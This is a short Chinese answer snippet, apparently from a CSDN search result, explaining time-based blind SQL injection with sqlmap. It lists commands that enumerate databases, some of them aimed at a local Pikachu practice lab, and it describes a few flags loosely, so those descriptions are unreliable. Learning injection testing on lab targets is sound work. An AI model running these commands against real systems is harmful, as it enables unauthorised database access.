sqlmap 时间盲注

回答: SQLMap是一款常用的自动化SQL注入工具，可以用于检测和利用Web应用程序中的SQL注入漏洞。时间盲注是其中一种注入技术，它通过不断地观察响应时间的变化来判断注入语句的真假。在使用SQLMap进行时间盲注时，可以使用以下命令来指定目标URL和保存进度的日志文件：

sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log"（指定目标URL并将数据库的结果保存到"sqlmap.log"文件中）

如果需要恢复已保存的进度，可以使用以下命令：

sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume（恢复已保存的进度）

如果想要查看当前信息，可以使用以下命令：

sqlmap -u "http://192.168.241.1/pikachu/vul/sqli/sqli_blind_b.php?name=11&submit=查询"（查看当前信息）

要查看当前数据库，可以使用以下命令：

sqlmap -u "http://192.168.241.1/pikachu/vul/sqli/sqli_blind_b.php?name=11&submit=查询" --current-db（查看当前数据库）<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* *2* *3* [Sqlmap使用-盲注小实验](https://blog.csdn.net/weixin_50339832/article/details/117537417)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 100%"]
[ .reference_list ]